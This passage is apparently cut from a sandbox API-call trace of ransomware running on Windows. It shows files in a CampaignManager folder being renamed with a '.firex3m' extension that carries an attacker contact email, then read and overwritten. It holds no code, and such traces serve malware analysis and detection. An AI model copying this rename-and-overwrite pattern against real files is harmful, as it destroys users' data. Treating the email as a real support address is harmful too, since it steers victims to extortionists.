Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0219.921] GetProcessHeap () returned 0x630000 [0219.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc130 [0219.921] GetProcessHeap () returned 0x630000 [0219.921] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc520 [0219.921] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.921] ReadFile (in: hFile=0x648, lpBuffer=0x6dc130, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc130*, lpNumberOfBytesRead=0x673ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0219.924] GetProcessHeap () returned 0x630000 [0219.924] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0219.924] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.924] WriteFile (in: hFile=0x648, lpBuffer=0x6dc520*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc520*, lpNumberOfBytesWritten=0x673ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0219.924] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.924] WriteFile (in: hFile=0x648, lpBuffer=0x6dc6df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc6df*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.929] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.929] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.929] CloseHandle (hObject=0x648) returned 1 [0219.929] GetProcessHeap () returned 0x630000 [0219.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc520 | out: hHeap=0x630000) returned 1 [0219.929] GetProcessHeap () returned 0x630000 [0219.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc130 | out: hHeap=0x630000) returned 1 [0219.929] GetProcessHeap () returned 0x630000 [0219.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0219.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49086d28, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x673fd20, dwReserved1=0x6dc130, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0219.929] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0219.929] Sleep (dwMilliseconds=0x1) [0219.934] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml") returned 1 [0219.934] GetProcessHeap () returned 0x630000 [0219.934] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5094) returned 0x6fe3bb0 [0219.934] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0219.934] CloseHandle (hObject=0x648) returned 1 [0219.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.935] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d53c0 [0219.936] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0219.936] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0219.936] GetProcessHeap () returned 0x630000 [0219.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d72c8 [0219.936] GetProcessHeap () returned 0x630000 [0219.936] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8708 [0219.936] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.936] ReadFile (in: hFile=0x648, lpBuffer=0x6d72c8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d72c8*, lpNumberOfBytesRead=0x673ff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.943] GetProcessHeap () returned 0x630000 [0219.943] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0219.943] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.943] WriteFile (in: hFile=0x648, lpBuffer=0x6d8708*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8708*, lpNumberOfBytesWritten=0x673ff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.943] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.943] WriteFile (in: hFile=0x648, lpBuffer=0x6d8947*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8947*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.943] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.943] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.943] CloseHandle (hObject=0x648) returned 1 [0219.944] GetProcessHeap () returned 0x630000 [0219.944] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8708 | out: hHeap=0x630000) returned 1 [0219.944] GetProcessHeap () returned 0x630000 [0219.944] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d72c8 | out: hHeap=0x630000) returned 1 [0219.944] GetProcessHeap () returned 0x630000 [0219.944] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73174f0 | out: hHeap=0x630000) returned 1 [0219.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x490acf56, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x673fd20, dwReserved1=0x6d72c8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4ec0 [0219.944] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0219.944] Sleep (dwMilliseconds=0x1) [0221.574] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml") returned 1 [0221.574] GetProcessHeap () returned 0x630000 [0221.574] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d8) returned 0x6fe3bb0 [0221.574] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0221.574] CloseHandle (hObject=0x698) returned 1 [0221.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.575] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18d, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5440 [0221.576] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0221.576] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0221.576] GetProcessHeap () returned 0x630000 [0221.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0221.576] GetProcessHeap () returned 0x630000 [0221.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3e48 [0221.576] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.576] ReadFile (in: hFile=0x698, lpBuffer=0x6f3ad8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesRead=0x673ff0c*=0x180, lpOverlapped=0x0) returned 1 [0221.578] GetProcessHeap () returned 0x630000 [0221.578] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0221.578] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.578] WriteFile (in: hFile=0x698, lpBuffer=0x6f3e48*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e48*, lpNumberOfBytesWritten=0x673ff0c*=0x180, lpOverlapped=0x0) returned 1 [0221.579] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.579] WriteFile (in: hFile=0x698, lpBuffer=0x6f3fc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3fc7*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.579] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.579] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.579] CloseHandle (hObject=0x698) returned 1 [0221.579] GetProcessHeap () returned 0x630000 [0221.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3e48 | out: hHeap=0x630000) returned 1 [0221.579] GetProcessHeap () returned 0x630000 [0221.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0221.579] GetProcessHeap () returned 0x630000 [0221.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0221.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4a05282b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b1, dwReserved0=0x673fd20, dwReserved1=0x6f3ad8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f40 [0221.579] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0221.580] Sleep (dwMilliseconds=0x1) [0222.908] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml") returned 1 [0222.908] GetProcessHeap () returned 0x630000 [0222.908] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5174) returned 0x6fe3bb0 [0222.908] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0225.771] CloseHandle (hObject=0x6f4) returned 1 [0225.771] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.771] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.879] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.879] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ca8b67, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5200 [0225.879] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0225.879] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sk-sk\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0225.879] GetProcessHeap () returned 0x630000 [0225.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0225.879] GetProcessHeap () returned 0x630000 [0225.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8708 [0225.879] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.879] ReadFile (in: hFile=0x6f4, lpBuffer=0x6d7040, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesRead=0x673ff0c*=0x240, lpOverlapped=0x0) returned 1 [0225.883] GetProcessHeap () returned 0x630000 [0225.883] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177830 [0225.883] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.883] WriteFile (in: hFile=0x6f4, lpBuffer=0x6d8708*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8708*, lpNumberOfBytesWritten=0x673ff0c*=0x240, lpOverlapped=0x0) returned 1 [0225.883] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.883] WriteFile (in: hFile=0x6f4, lpBuffer=0x6d8947*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8947*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.883] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.883] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.883] CloseHandle (hObject=0x6f4) returned 1 [0225.883] GetProcessHeap () returned 0x630000 [0225.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8708 | out: hHeap=0x630000) returned 1 [0225.883] GetProcessHeap () returned 0x630000 [0225.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0225.884] GetProcessHeap () returned 0x630000 [0225.884] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177830 | out: hHeap=0x630000) returned 1 [0225.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", 